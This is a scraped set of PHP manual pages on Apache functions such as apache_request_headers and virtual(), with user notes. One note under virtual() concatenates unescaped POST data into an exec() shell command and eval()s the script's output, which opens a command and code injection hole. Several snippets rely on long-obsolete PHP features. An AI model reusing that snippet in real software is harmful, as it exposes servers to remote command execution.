It is critical to be very carefull with php_flag engine 0.

My configuration is:
PHP 4.3.4, Apache 2.0.50, Linux RedHat 9
henk_nicolai at REMOVE-THIS at hotmail dot com 20-Nov-2002 04:03
My Apache server has a problem when someone enters a URI like: "http://my_server.nl/index.php/". (Note the extra slash.) The server executes the index.php script anyway, which causes the browser directory and the current directory used in the script to be different. And therefore my relative links don't work, and my stylesheet is not loaded. A quick test ("http://www.php.net/manual/en/index.php/") reveals that also this site has this glitch.

When a client requests a directory without the last slash ("http://www.php.net/manual") the server sends a HTTP 301 (Moved Permanently) response with a redirect to the correct URI ("http://www.php.net/manual/"), and my idea was to do the same when the user adds a slash too much:

<?php
   $req = $_SERVER['REQUEST_URI'];
   // Remove rubbish.
   $newReq = ereg_replace ('index.php[^?]*', 'index.php', $req);
   if (strlen($newReq) < strlen($req)) {
     header ('Location: '.$newReq);
     header ('HTTP/1.0 301 Moved Permanently');
     die;  // Don't send any more output.
   }
   unset($req); unset($newReq);

   ... (rest of the script) ...
?>

Replace every occurence of 'index.php' with your filename and you're done. Hope it helps. :-)

(Note: I'm not using fragments in my URI's (like 'index.php#bottom'), and this code may not do what you want if you are using them.)
cjm2 at earthling dot net 10-Jan-2002 03:40
If you are trying to find a Handler to use with apache's mod_mime functions (e.g. SetHandler).  Use the MIME type associated with php.

e.g. SetHandler application/x-httpd-php
Predefined Constants
apache_child_terminate
Apache


Terminate apache process after this request

Apache Functions
apache_get_modules
Apache Functions
PHP Manual

apache_child_terminate

(PHP 4 >= 4.0.5, PHP 5)

apache_child_terminate — Terminate apache process after this request

Description

bool apache_child_terminate ( void )

apache_child_terminate() will register the Apache process executing the current PHP request for termination once execution of PHP code is completed. It may be used to terminate a process after a script with high memory consumption has been run as memory will usually only be freed internally but not given back to the operating system.

Return Values

Returns TRUE if PHP is running as an Apache 1 module, the Apache version is non-multithreaded, and the child_terminate PHP directive is enabled (disabled by default). If these conditions are not met, FALSE is returned and an error of level E_WARNING is generated.

Changelog

Version | Description
5.4.0 | This function became available under FastCGI. Previously, it was supported only when PHP was installed as an Apache module.

Notes

Note: This function is not implemented on Windows platforms.

See Also

  • exit() - Output a message and terminate the current script

User Contributed Notes

Stephan Ferraro 11-Aug-2010 02:39
I found out a solution for Apache 2. However this works only without threads and only on POSIX compatible OS systems (e.g. Linux, OpenSolaris...).

<?php

// Terminate Apache 2 child process after request has been
// done by sending a SIGWINCH POSIX signal (28).
function kill_on_exit() {
 posix_kill( getmypid(), 28 );
}

register_shutdown_function( 'kill_on_exit' );

?>
louis at ewens dot com 29-Jan-2008 04:29
Apache child processes are greedy. If they get bloated by a PHP application that requires a lot of memory, they stay that way. The memory is never given back to the OS until that child dies.

You could use MaxRequestsPerChild in Apache to kill all child processes automatically after a certain number of connections. Or you can use apache_child_terminate to kill the child after your memory intensive functions.

Note: apache_child_terminate is not available in Apache 2.0 handler.
daniele_dll at yahoo dot it 29-Dec-2007 03:18
In response to sam at liddicott dot com:

it isin't so simple! You should never kill an apache process because it is automatically freed when apache need!

And, if you use apache worker or thread based mpm you risk to kill the entire process!

result: DO NOT USE THIS FUNCTION!
admin at hostultra dot com 06-Dec-2007 08:43
this code will add apache_child_terminate() function if it is not already present.

if (!function_exists("apache_child_terminate")){
function apache_child_terminate(){
register_shutdown_function("killonexit");
}

function killonexit(){
@exec("kill ".getmypid());
}
}
Apache Functions
apache_get_modules
Apache Functions


Get a list of loaded Apache modules

apache_child_terminate
apache_get_version
Apache Functions
PHP Manual

apache_get_modules

(PHP 4 >= 4.3.2, PHP 5)

apache_get_modules — Get a list of loaded Apache modules

Description

array apache_get_modules ( void )

Get a list of loaded Apache modules.

Return Values

An array of loaded Apache modules.

Changelog

Version | Description
5.0.0 | Became available when using Apache 1, or the PHP Apache 2 filter API. Before this time, it was only available when using the Apache 2 handler API.

Examples

Example #1 apache_get_modules() example

<?php
print_r(apache_get_modules());
?>

The above example will output something similar to:

Array
(
    [0] => core
    [1] => http_core
    [2] => mod_so
    [3] => sapi_apache2
    [4] => mod_mime
    [5] => mod_rewrite
)

User Contributed Notes

nik_gandhi007 at yahoo dot com 28-Oct-2010 04:01
apache_get_modules() does not work if you are using PHP as CGI.
Vlad Alexa Mancini mancini at nextcode dot org 04-Aug-2005 02:13
this function can be used on older php versions using something like "/etc/httpd/httpd.conf" as $fname

<?php

function get_modules ($fname){
   if (is_readable($fname)){
      $fcont = file($fname);
      if (is_array($fcont)){
          foreach ($fcont as $line){
              if (preg_match ("/^LoadModule\s*(\S*)\s*(\S*)/i",$line,$match)){
                  $return[$match[2]] = $match[1];
              }
          }
      }
   }
   return $return;
}

?>
apache_child_terminate
apache_get_version
Apache Functions


Fetch Apache version

apache_get_modules
apache_getenv
Apache Functions
PHP Manual

apache_get_version

(PHP 4 >= 4.3.2, PHP 5)

apache_get_version — Fetch Apache version

Description

string apache_get_version ( void )

Fetch the Apache version.

Return Values

Returns the Apache version on success or FALSE on failure.

Changelog

Version | Description
4.3.4 | Became available with Apache 1.
5.0.0 | Became available with the Apache 2 filter API.

Examples

Example #1 apache_get_version() example

<?php
$version = apache_get_version();
echo "$version\n";
?>

The above example will output something similar to:

Apache/1.3.29 (Unix) PHP/4.3.4

See Also

  • phpinfo() - Outputs information about PHP's configuration

User Contributed Notes

ladislav at prskavec dot net 07-Jun-2007 01:44
apache_get_version() - depends on settings in httpd.conf ServerTokens

Examples:

ServerTokens Full - Apache/2.0.55 (Win32) DAV/2
ServerTokens OS - Apache/2.0.55 (Win32)
ServerTokens Minor - Apache/2.0
ServerTokens Minimal - Apache/2.0.55
ServerTokens Major - Apache/2
ServerTokens Prod - Apache
apache_get_modules
apache_getenv
Apache Functions


Get an Apache subprocess_env variable

apache_get_version
apache_lookup_uri
Apache Functions
PHP Manual

apache_getenv

(PHP 4 >= 4.3.0, PHP 5)

apache_getenv — Get an Apache subprocess_env variable

Description

string apache_getenv ( string $variable [, bool $walk_to_top ] )

Get an Apache environment variable as specified by variable.

This function requires Apache 2 otherwise it's undefined.

Parameters

variable

The Apache environment variable

walk_to_top

Whether to get the top-level variable available to all Apache layers.

Return Values

The value of the Apache environment variable on success, or FALSE on failure

Examples

Example #1 apache_getenv() example

The example above shows how to retrieve the value of the Apache environment variable SERVER_ADDR.

<?php
$ret = apache_getenv("SERVER_ADDR");
echo $ret;
?>

The above example will output something similar to:

42.24.42.240

See Also

  • apache_setenv() - Set an Apache subprocess_env variable
  • getenv() - Gets the value of an environment variable
  • Superglobals

User Contributed Notes

There are no user contributed notes for this page.
apache_get_version
apache_lookup_uri
Apache Functions


Perform a partial request for the specified URI and return all info about it

apache_getenv
apache_note
Apache Functions
PHP Manual

apache_lookup_uri

(PHP 4, PHP 5)

apache_lookup_uri — Perform a partial request for the specified URI and return all info about it

Description

object apache_lookup_uri ( string $filename )

This performs a partial request for a URI. It goes just far enough to obtain all the important information about the given resource.

This function is only supported when PHP is installed as an Apache module.

Parameters

filename

The filename (URI) that's being requested.

Return Values

An object of related URI information. The properties of this object are:

  • status
  • the_request
  • status_line
  • method
  • content_type
  • handler
  • uri
  • filename
  • path_info
  • args
  • boundary
  • no_cache
  • no_local_copy
  • allowed
  • send_bodyct
  • bytes_sent
  • byterange
  • clength
  • unparsed_uri
  • mtime
  • request_time

Examples

Example #1 apache_lookup_uri() example

<?php
$info = apache_lookup_uri('index.php?var=value');
print_r($info);

if (file_exists($info->filename)) {
    echo 'file exists!';
}
?>

The above example will output something similar to:

stdClass Object
(
    [status] => 200
    [the_request] => GET /dir/file.php HTTP/1.1
    [method] => GET
    [mtime] => 0
    [clength] => 0
    [chunked] => 0
    [content_type] => application/x-httpd-php
    [no_cache] => 0
    [no_local_copy] => 1
    [unparsed_uri] => /dir/index.php?var=value
    [uri] => /dir/index.php
    [filename] => /home/htdocs/dir/index.php
    [args] => var=value
    [allowed] => 0
    [sent_bodyct] => 0
    [bytes_sent] => 0
    [request_time] => 1074282764
)
file exists!

User Contributed Notes

tester 12-Feb-2008 05:01
bug: with apache 2, apache_lookup_uri("/directory") spits out a warning and fails to return anything.  apache_lookup_uri("/directory/") works.

another bug: virtual("something") forces a header flush.  I know it's documented, but it would be rather wonderful if it didn't do this.  You never ever want to flush headers when you're using virtual() to include a dynamic file such as a PHP or Perl file, which excludes virtual() from being used on most of any website's contents :-(.
niels dot kootstra at gmail dot com 08-Feb-2008 04:04
It's a very usefull function but it doesn't show all outputs. For example I only see:
[status]
[the_request]
[method]
[mtime]
[clength]
[chunked]
[content_type]
[no_cache]
[no_local_copy]
[unparsed_uri]
[uri]
[filename]
[path_info]
[allowed]
[sent_bodyct]
[bytes_sent]
[request_time]
redbeard at mdjohnson dot nospam dot us 17-Apr-2003 05:15
A useful feature is that if you have content negotiation on (Options MultiViews) Apache will resolve the negotiation for you if possible.  Thus www.example.com/blah will resolve to /base/blah.php or /base/blah.html or even /base/blah.en.html as appropriate.
apache_getenv
apache_note
Apache Functions


Get and set apache request notes

apache_lookup_uri
apache_request_headers
Apache Functions
PHP Manual

apache_note

(PHP 4, PHP 5)

apache_note — Get and set apache request notes

Description

string apache_note ( string $note_name [, string $note_value ] )

This function is a wrapper for Apache's table_get and table_set. It edits the table of notes that exists during a request. The table's purpose is to allow Apache modules to communicate.

The main use for apache_note() is to pass information from one module to another within the same request.

Parameters

note_name

The name of the note.

note_value

The value of the note.

Return Values

If called with one argument, it returns the current value of note note_name. If called with two arguments, it sets the value of note note_name to note_value and returns the previous value of note note_name. If the note cannot be retrieved, FALSE is returned.

Examples

Example #1 Passing information between PHP and Perl

<?php

apache_note('name', 'Fredrik Ekengren');

// Call perl script
virtual("/perl/some_script.pl");

$result = apache_note("resultdata");
?>
# Get Apache request object
my $r = Apache->request()->main();

# Get passed data
my $name = $r->notes('name');

# some processing

# Pass result back to PHP
$r->notes('resultdata', $result);

Example #2 Logging values in access.log

<?php

apache_note('sessionID', session_id());

?>
# "%{sessionID}n" can be used in the LogFormat directive

See Also

  • virtual() - Perform an Apache sub-request

User Contributed Notes

ckm at NOSPAM dot crust dot net 16-Oct-2001 01:52
apache_note() does not work on requests to a symlink, only on actual files.  Eg. if index.php is symlinked to login.php, then any apache_note() in login.php will not be available to other apache modules such as logging.
apache_lookup_uri
apache_request_headers
Apache Functions


Fetch all HTTP request headers

apache_note
apache_reset_timeout
Apache Functions
PHP Manual

apache_request_headers

(PHP 4 >= 4.3.0, PHP 5)

apache_request_headers — Fetch all HTTP request headers

Description

array apache_request_headers ( void )

Fetches all HTTP request headers from the current request.

Return Values

An associative array of all the HTTP headers in the current request, or FALSE on failure.

Changelog

Version | Description
5.4.0 | This function became available under FastCGI. Previously, it was supported only when PHP was installed as an Apache module.
4.3.3 | As of PHP 4.3.3 you can use this function with the NSAPI server module in Netscape/iPlanet/SunONE webservers, too.

Examples

Example #1 apache_request_headers() example

<?php
$headers = apache_request_headers();

foreach ($headers as $header => $value) {
    echo "$header: $value <br />\n";
}
?>

The above example will output something similar to:

Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0
Host: www.example.com
Connection: Keep-Alive

Notes

Note:

You can also get at the value of the common CGI variables by reading them from the environment, which works whether or not you are using PHP as an Apache module. Use phpinfo() to see a list of all of the available environment variables.

See Also

  • apache_response_headers() - Fetch all HTTP response headers

User Contributed Notes

callum85 at notspam dot msn dot com 18-Apr-2007 11:07
There is a simple way to get request headers from Apache even on PHP running as a CGI. As far as I know, it's the only way to get the headers "If-Modified-Since" and "If-None-Match" when apache_request_headers() isn't available. You need mod_rewrite, which most web hosts seem to have enabled. Put this in an .htacess file in your web root:

RewriteEngine on
RewriteRule .* - [E=HTTP_IF_MODIFIED_SINCE:%{HTTP:If-Modified-Since}]
RewriteRule .* - [E=HTTP_IF_NONE_MATCH:%{HTTP:If-None-Match}]

The headers are then available in PHP as
<?php
  $_SERVER['HTTP_IF_MODIFIED_SINCE'];
  $_SERVER['HTTP_IF_NONE_MATCH'];
?>

I've tested this on PHP/5.1.6, on both Apache/2.2.3/Win32 and Apache/2.0.54/Unix, and it works perfectly.

Note: if you use RewriteRules already for clean URLs, you need to put the above rules AFTER your existing ones.
jrabbit 21-Jan-2007 05:04
The following code will implement an approximation of apache_request_headers for lighttpd making most scripts that use the function portable between the two platforms.

Caveats are:

1. This function will convert any _ in a header key to a -

2. This function will capitalize the first character and first character after each hyphen in each header key and lower case the rest of the key.

This does not cause a problem with standard headers which are capitalized in this manner but may cause custom headers to appear in a different case to apache.

<?php
if (!function_exists('apache_request_headers')) {
    eval('
        function apache_request_headers() {
            foreach($_SERVER as $key=>$value) {
                if (substr($key,0,5)=="HTTP_") {
                    $key=str_replace(" ","-",ucwords(strtolower(str_replace("_"," ",substr($key,5)))));
                    $out[$key]=$value;
                }
            }
            return $out;
        }
    ');
}
?>
limalopex.eisfux.de 29-Oct-2006 09:01
I didn't found a replacement for apache_request_headers() in PHP::Compat (http://pear.php.net/package/PHP_Compat) so I wrote my own:

<?php
if( !function_exists('apache_request_headers') ) {
///
function apache_request_headers() {
  $arh = array();
  $rx_http = '/\AHTTP_/';
  foreach($_SERVER as $key => $val) {
    if( preg_match($rx_http, $key) ) {
      $arh_key = preg_replace($rx_http, '', $key);
      $rx_matches = array();
      // do some nasty string manipulations to restore the original letter case
      // this should work in most cases
      $rx_matches = explode('_', $arh_key);
      if( count($rx_matches) > 0 and strlen($arh_key) > 2 ) {
        foreach($rx_matches as $ak_key => $ak_val) $rx_matches[$ak_key] = ucfirst($ak_val);
        $arh_key = implode('-', $rx_matches);
      }
      $arh[$arh_key] = $val;
    }
  }
  return( $arh );
}
///
}
///
?>
apache_note
apache_reset_timeout
Apache Functions


Reset the Apache write timer

apache_request_headers
apache_response_headers
Apache Functions
PHP Manual

apache_reset_timeout

(PHP 5 >= 5.1.0)

apache_reset_timeout — Reset the Apache write timer

Description

bool apache_reset_timeout ( void )

apache_reset_timeout() resets the Apache write timer, which defaults to 300 seconds. With set_time_limit(0); ignore_user_abort(true) and periodic apache_reset_timeout() calls, Apache can theoretically run forever.

This function requires Apache 1.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: This function is disabled when PHP is running in safe mode.

See Also

  • set_time_limit() - Limits the maximum execution time
  • ignore_user_abort() - Set whether a client disconnect should abort script execution

User Contributed Notes

There are no user contributed notes for this page.
apache_request_headers
apache_response_headers
Apache Functions


Fetch all HTTP response headers

apache_reset_timeout
apache_setenv
Apache Functions
PHP Manual

apache_response_headers

(PHP 4 >= 4.3.0, PHP 5)

apache_response_headers — Fetch all HTTP response headers

Description

array apache_response_headers ( void )

Fetch all HTTP response headers.

Return Values

An array of all Apache response headers on success or FALSE on failure.

Changelog

Version | Description
5.4.0 | This function became available under FastCGI. Previously, it was supported only when PHP was installed as an Apache module.
4.3.3 | As of PHP 4.3.3 you can use this function with the NSAPI server module in Netscape/iPlanet/SunONE webservers, too.

Examples

Example #1 apache_response_headers() example

<?php
print_r(apache_response_headers());
?>

The above example will output something similar to:

Array
(
    [Accept-Ranges] => bytes
    [X-Powered-By] => PHP/4.3.8
)

See Also

  • apache_request_headers() - Fetch all HTTP request headers
  • headers_sent() - Checks if or where headers have been sent
  • headers_list() - Returns a list of response headers sent (or ready to send)

User Contributed Notes

php at mailplus dot pl 18-Feb-2011 01:11
I get  "Call to undefined function apache_response_headers()" when using php-cli so be aware of lack of this function CLI.
In my case I was trying to test my app via phpunit (command line tool of course ;)) if it sends proper headers.
Craig Harris 29-Jun-2010 10:04
Be aware that apache_response_headers() does not include all headers, notably the content-type is missing as are any headers which apache will add after the php process completes.

This is a very misleading function, but it does at least have a better output structure than the more complete headers_list() function
Isaac Z dot Schlueter i at foohack dot com 28-May-2009 08:57
This function doesn't exist on lighttpd, so I wrote this little function to emulate it:

<?php

if (!function_exists('apache_response_headers')) {
    function apache_response_headers () {
        $arh = array();
        $headers = headers_list();
        foreach ($headers as $header) {
            $header = explode(":", $header);
            $arh[array_shift($header)] = trim(implode(":", $header));
        }
        return $arh;
    }
}

?>
Daniel Lorch 24-May-2007 09:53
Addendum: The code

<pre>
<?php
  print_r(apache_request_headers());
?>
</pre>

gives me

 Array
 (
    [X-Powered-By] => PHP/5.1.6
 )

But the code
<pre>
<?php
  ob_end_flush();
  print_r(apache_request_headers());
?>
</pre>

Results in

 Array
 (
    [Content-Location] => phpinfo.de.php
    [Vary] => negotiate
    [TCN] => choice
    [X-Powered-By] => PHP/5.1.6
    [Keep-Alive] => timeout=15, max=96
    [Connection] => Keep-Alive
    [Transfer-Encoding] => chunked
    [Content-Type] => text/html
    [Content-Language] => de
 )
Daniel Lorch 24-May-2007 09:46
I can confirm athlet's experience with apache_response_headers() using PHP 5.1.6. When the resulting array is empty or only contains "X-Powered-By" instead of the full list of values, you'll need to switch off output_buffering _before_ the script has been executed, for example with the following directive in .htaccess:

php_value "output_buffering" "0"

it _doesn't_ work when you do a you ini_set('output_buffering', 0); in your script. Not sure why that is so - it is not a bug in PHP, but probably has to do with how Apache populates the request values.
athlet 01-Feb-2006 09:37
For apache_response_headers() working good, you need to set  up output_buffering = Off in php.ini
orange 05-Sep-2005 08:17
If apache_response_headers() returns an empty array, try calling flush() before and it'll get filled.
apache_reset_timeout
apache_setenv
Apache Functions


Set an Apache subprocess_env variable

apache_response_headers
getallheaders
Apache Functions
PHP Manual

apache_setenv

(PHP 4 >= 4.2.0, PHP 5)

apache_setenv — Set an Apache subprocess_env variable

Description

bool apache_setenv ( string $variable , string $value [, bool $walk_to_top = false ] )

apache_setenv() sets the value of the Apache environment variable specified by variable.

Note:

When setting an Apache environment variable, the corresponding $_SERVER variable is not changed.

Parameters

variable

The environment variable that's being set.

value

The new variable value.

walk_to_top

Whether to set the top-level variable available to all Apache layers.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Setting an Apache environment variable using apache_setenv()

<?php
apache_setenv("EXAMPLE_VAR", "Example Value");
?>

Notes

Note:

apache_setenv() can be paired up with apache_getenv() across separate pages or for setting variables to pass to Server Side Includes (.shtml) that have been included in PHP scripts.

See Also

  • apache_getenv() - Get an Apache subprocess_env variable

User Contributed Notes

RLG 10-Jan-2006 04:16
If you are using mod_gzip or mod_deflate to compress HTML output, you're not able to send partial file to the browser....

To disable mod_deflate in PHP (if needed), you can tell Apache with this :

apache_setenv('no-gzip', '1');
guilleva at gmail dot com 28-Jul-2005 10:25
When you need to set the QUERY_STRING variable into a page included with the "virtual" function do this:

virtual ("some_page.shtml?$QUERY_STRING");

apache_setenv does not work for this case.
phpnotes at kipu dot co dot uk 03-Jun-2003 06:34
If you set a variable, either new or existing, the corresponding $_SERVER variable is not changed, and you will have to change it as well.
sixxgate at yahoo dot com 22-Jan-2003 03:56
When you want to set variables to pass to Server Side Includes (.shtml) included in PHP scripts, use this.
apache_response_headers
getallheaders
Apache Functions


Fetch all HTTP request headers

apache_setenv
virtual
Apache Functions
PHP Manual

getallheaders

(PHP 4, PHP 5)

getallheaders — Fetch all HTTP request headers

Description

array getallheaders ( void )

Fetches all HTTP headers from the current request.

This function is an alias for apache_request_headers(). Please read the apache_request_headers() documentation for more information on how this function works.

Return Values

An associative array of all the HTTP headers in the current request, or FALSE on failure.

Changelog

Version | Description
5.4.0 | This function became available under FastCGI. Previously, it was supported only when PHP was installed as an Apache module.
4.3.3 | As of PHP 4.3.3 you can use this function with the NSAPI server module in Netscape/iPlanet/SunONE webservers, too.
4.3.0 | Became an alias for apache_request_headers(). Essentially, it was renamed. This is because this function only works with Apache.

Examples

Example #1 getallheaders() example

<?php

foreach (getallheaders() as $name => $value) {
    echo "$name: $value\n";
}

?>

See Also

  • apache_response_headers() - Fetch all HTTP response headers

User Contributed Notes

acidfilez at gmail dot com 07-Jun-2011 09:16
dont forget to add the content_type and content_lenght if your are uploading file:

<?php
  function emu_getallheaders() {
        foreach ($_SERVER as $name => $value)
       {
           if (substr($name, 0, 5) == 'HTTP_')
           {
               $name = str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))));
               $headers[$name] = $value;
           } else if ($name == "CONTENT_TYPE") {
               $headers["Content-Type"] = $value;
           } else if ($name == "CONTENT_LENGTH") {
               $headers["Content-Length"] = $value;
           }
       }
       return $headers;
    }
?>

chears magno c. heck
majksner at gmail dot com 08-Sep-2010 10:24
apache_request_headers replicement for nginx

<?php
if (!function_exists('apache_request_headers')) {
        function apache_request_headers() {
            foreach($_SERVER as $key=>$value) {
                if (substr($key,0,5)=="HTTP_") {
                    $key=str_replace(" ","-",ucwords(strtolower(str_replace("_"," ",substr($key,5)))));
                    $out[$key]=$value;
                }else{
                    $out[$key]=$value;
        }
            }
            return $out;
        }
}
?>
joyview at gmail dot com 06-Jul-2008 08:52
it could be useful if you using nginx instead of apache

if (!function_exists('getallheaders'))
{
    function getallheaders()
    {
       foreach ($_SERVER as $name => $value)
       {
           if (substr($name, 0, 5) == 'HTTP_')
           {
               $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
           }
       }
       return $headers;
    }
}
lorro at lorro dot hu 19-Apr-2005 06:25
Beware that RFC2616 (HTTP/1.1) defines header fields as case-insensitive entities. Therefore, array keys of getallheaders() should be converted first to lower- or uppercase and processed such.
apache_setenv
virtual
Apache Functions


Perform an Apache sub-request

getallheaders
IIS
Apache Functions
PHP Manual

virtual

(PHP 4, PHP 5)

virtual — Perform an Apache sub-request

Description

bool virtual ( string $filename )

virtual() is an Apache-specific function which is similar to <!--#include virtual...--> in mod_include. It performs an Apache sub-request. It is useful for including CGI scripts or .shtml files, or anything else that you would parse through Apache. Note that for a CGI script, the script must generate valid CGI headers. At the minimum that means it must generate a Content-Type header.

To run the sub-request, all buffers are terminated and flushed to the browser, pending headers are sent too.

This function is only supported when PHP is installed as an Apache module.

Parameters

filename

The file that the virtual command will be performed on.

Return Values

Performs the virtual command on success, or returns FALSE on failure.

Changelog

Version | Description
4.3.3 | As of PHP 4.3.3 you can use this function with the NSAPI server module in Netscape/iPlanet/SunONE webservers, too.
4.0.6 | This function may be used on PHP files. However, it is typically better to use include() or require() for PHP files.

Examples

See apache_note() for an example.

Notes

Warning

The query string can be passed to the included file but $_GET is copied from the parent script and only $_SERVER['QUERY_STRING'] is filled with the passed query string. The query string may only be passed when using Apache 2. The requested file will not be listed in the Apache access log.

Note:

Environment variables set in the requested file are not visible to the calling script.

See Also

  • apache_note() - Get and set apache request notes

User Contributed Notes

jhibbard at gmail dot com 09-Dec-2009 02:42
While the virtual() function has it's promising sides, there exists issues when using it in relation to a cache system such as eAccellerator.  The issue becomes that the first time you load with a virtual file, it will seem to work fine.  But once the cache is put into play, the virtual call will end up returning nothing at all, and basically returning a blank page.

Please realize that this is not an issue with virtual(), but instead an issue of the cacheing application.  Should anyone else have a similar issue, hopefully this will shed some light onto this subject.

Jonathon Hibbard
phpforum at joolee dot nl 04-Feb-2009 12:00
Problem with most of the scripts posted below is that virtual() flushes the pending headers before making the subrequest. Requesting an image with virtual() still returns a text/html type document.
A workaround is to set the content-type first. But that requires getting the content-type first.

I'm using the following script for now. A disadvantage is that Apache makes 2 subrequests.

<?PHP
$file = '/resources/7z.gif';
$file_info = apache_lookup_uri($file);
header('content-type: ' . $file_info -> content_type);
virtual($file);
die();
?>
Anonymous at spam dot org 08-May-2007 05:13
Note that QUERY_STRING seems to get inherited, so to make a virtual request WITHOUT one, one needs to explicitly append a "?" to the URL of the sub-request (to cause the creation of a "null" query string).  Of course, if the desired URL has its own query string, that will override and an additional "?" should not be appended.

This was with PHP 4.4.7 (released May 2007).
vcaron at bearstech dot com 07-Jul-2006 03:26
You can use virtual() to implement your own dispatcher/auth handler in an efficient and effective way.

For instance if you have a bunch of images you would like to be served statically by Apache (its job after all), but with a more com
plex access pattern than mod_access allows you to do (say a MySQL lookup with your app logic), try this simple Apache rule:

  Order Allow,Deny
  Allow from env=PHP_ALLOW

Then in your PHP script, before sending any content or header:

<?php
$image = "/some/URL/path/test.png";
if (client_may_view_image($image)) {
  apache_setenv('PHP_ALLOW', '1');
  if (virtual($image))
    exit(0);
  echo "Ops, failed to fetched granted image $image (hammer your webmaster).\n";
} else
  echo "Sorry buddy, you're not allowed in here.\n";
?>

Of course very Apache-ish, but it's much more efficient and uniform to rely on Apache rather than passthru() and mime_content_type()
 hacks : it does the path lookup and auth/security audit as the admin expects, use the best static serving it can (think 'sendfile')
 and you can even chain your request with another embedded script eg. in mod_perl.
ruibal_DELETED_p*AT*gmail__dot__com 05-Feb-2006 03:04
when php is installed as an apache module, this works pretty well for writing your own php preprocessor/information logger. For example, requests to any URI underneath pre.php will first be executed by pre.php, then returned to the user.
<?
$docroot        = $_SERVER['DOCUMENT_ROOT'];
$script_root    = str_replace( basename($_SERVER['SCRIPT_NAME']),'',$_SERVER['SCRIPT_NAME'] );
$script_ext     = substr( $_SERVER['SCRIPT_NAME'], strrpos( $_SERVER['SCRIPT_NAME'],'.' ) );
$fakework_root  = $script_root.basename( $_SERVER['SCRIPT_NAME'] ).'/';
$framework_root = $script_root.'_'.basename( $_SERVER['SCRIPT_NAME'], $script_ext ).'/';
$frequest_root  = dirname( $framework_root.substr( $_SERVER['PATH_INFO'], 1 )).'/';
$frequest_name  = basename( $_SERVER['PATH_INFO'] );
$frequest_ext   = (strrpos($frequest_name,'.')===FALSE ? FALSE : strtolower(substr( $frequest_name, ( strrpos( $frequest_name, '.' )+1 ) ) ) );
$frequest_full  = $frequest_root.$frequest_name;
$doc_frequest   = $docroot.$frequest_full;
$doc_framework   = $docroot.$framework_root;

$DO_PARSE = in_array( $frequest_ext, $chk_exts );
if( $DO_PARSE )
{
    $tmpfname = tempnam( $doc_framework.'tmp', 'aj_' ).($frequest_ext? ('.'.$frequest_ext) : '');
    if( ($to_parse=@file_get_contents($doc_frequest))===FALSE )
        $to_parse="404";
    $tmpvname = str_replace( $docroot, '', $tmpfname );
    $tmpvname = str_replace( '\\\\', '/', $tmpvname );
// - - - - - - - - - - - - - - - - - - - - - - - - - - -
//  Do processing of data stored in $to_parse
// - - - - - - - - - - - - - - - - - - - - - - - - - - -
    $to_parse = striptags( $to_parse );

// - - - - - - - - - - - - - - - - - - - - - - - - - - -
    $handle = fopen($tmpfname, "w");
    fwrite($handle, $to_parse);
    fclose($handle);
    @virtual( $tmpvname.$getvars );
    unlink( $tmpfname );
}
else
    @virtual( $frequest_full.$getvars );

?>

So all files in http://server/sub/pre.php/path/ are really located in http://server/sub/_pre/path/

All this needs is some kind of caching mechanism.

But yeah, this could be modified to add watermarks with the image functions, convert to xml with Tidy, check for extensions better with mimeTypes, proxy content with cURL, validate $_SERVER['HTTP_REFERER'] or $_SERVER['HTTP_USER_AGENT'], etc etc

This gives you much more over than the auto_prepend_file, and auto_append_file, for certain functionality

The key is the virtual function _because_ it delivers the modified content with an apache subrequest.
abentley at panoramicfeedback dot com 17-Jun-2003 10:29
Here's an update to tomwk's code:
function safe_virtual( $filename )
{
   $curDir = getcwd();
   virtual ( $filename );
   chdir( $curDir );
}

This is better if you've already changed your current directory to be something other than your script's directory.  It works for PHP4 and above.
php at n-wise dot com 02-Jan-2003 11:15
I saw the note above about the length of the query string... but didn't know what it was, so have altered the code so it can post to the script.
Probly only works on nix systems as it makes use of the echo function...
This code also will look evaluate the result, so you can get cgi to dynamically create PHP (probly best to watch out that posted variables do not include script!)
<?
$CGISCRIPT="./cgi-bin/cgiscript.cgi";
 // preparing the arguments passed to this PHP page
$QSTRING = $QUERY_STRING;

foreach ($HTTP_POST_VARS as $header=> $value ){
 if($QSTRING==""){
    $QSTRING = $header.'='.urlencode($value);
 }else{
    $QSTRING = $QSTRING.'&'.$header.'='.urlencode($value);
 }
}

putenv('REQUEST_METHOD=POST');
putenv('CONTENT_TYPE=application/x-www-form-urlencoded');
putenv('CONTENT_LENGTH='.strlen($QSTRING));
putenv('QUERY_STRING='.$QSTRING);
unset($return_array);
exec('echo "'.$QSTRING.'"| '.$CGISCRIPT, $return_array, $return_val);

//The 1st line of my script was "Content...." ... so remove it!
$firstline=array_shift($return_array);
//evaluate the code
eval('?>'.implode($return_array,''));

?>
chardin at ssc dot wisc dot edu 07-Nov-2002 03:00
If you are having problems using virtual include becuase of files being stored in different directories, a root-relative path will make things much easier:

virtual ("/root directory/directory/filename.htm/");

where root directory is the root directory of your site (ask your sys admin if you dont know what it is) Don't include the protocol or host name.

This will also allow you to move your files around your site without having to redirect your includes which is *very* helpfull
crazyted at crazyted dot com 10-Jan-2002 11:57
I have a header that's include()'ed on each of my pages. I then wanted to add a Perl script to that header file (header.php) via the virtual() command.

Since my header is used by documents in my /www folder along with other folders inside that (and inside those), and virtual() seems to take only relative paths, I had to write some code to dynamically get the path to the perl script.

Hope this helps some ppl out:

  $cwd = getcwd();
  $script_name = "cgi-bin/perl_script.pl";
  $count = substr_count($cwd, '/');
  $count = $count - 3;
  // get rid of extra absolute paths since my directory is /home/user/www

  // Add additional path information
  for($i = 1; $i <= $count; $i++){
    $script_name = "../".$script_name;
  }
  virtual($script_name);
s dot dan at free dot fr 31-Jul-2001 08:43
Another way of passing arguments:
If you have some CGI programs that depend on some libraries where you can't change the source code (in my case an online payment library), you can pass the arguments by changing some environment variables.

Of course the CGI program has to get the GET/POST variables in the usual manner.
It simulates, more or less, a direct call from the server to a CGI program:

// preparing the arguments passed to this PHP page
$QSTRING = $QUERY_STRING;

// pay attention to the maximum length of the QUERY string.
while (list ($header, $value) = each ($HTTP_POST_VARS)){
  if (empty($QSTRING))
    $QSTRING = $header.'='.$value;
 else
    $QSTRING = $QSTRING.'&'.$header.'='.$value;
}

putenv('REQUEST_METHOD=GET');
putenv('QUERY_STRING='.$QSTRING);

unset($return_array);
exec('my_CGI', $return_array, $return_val);

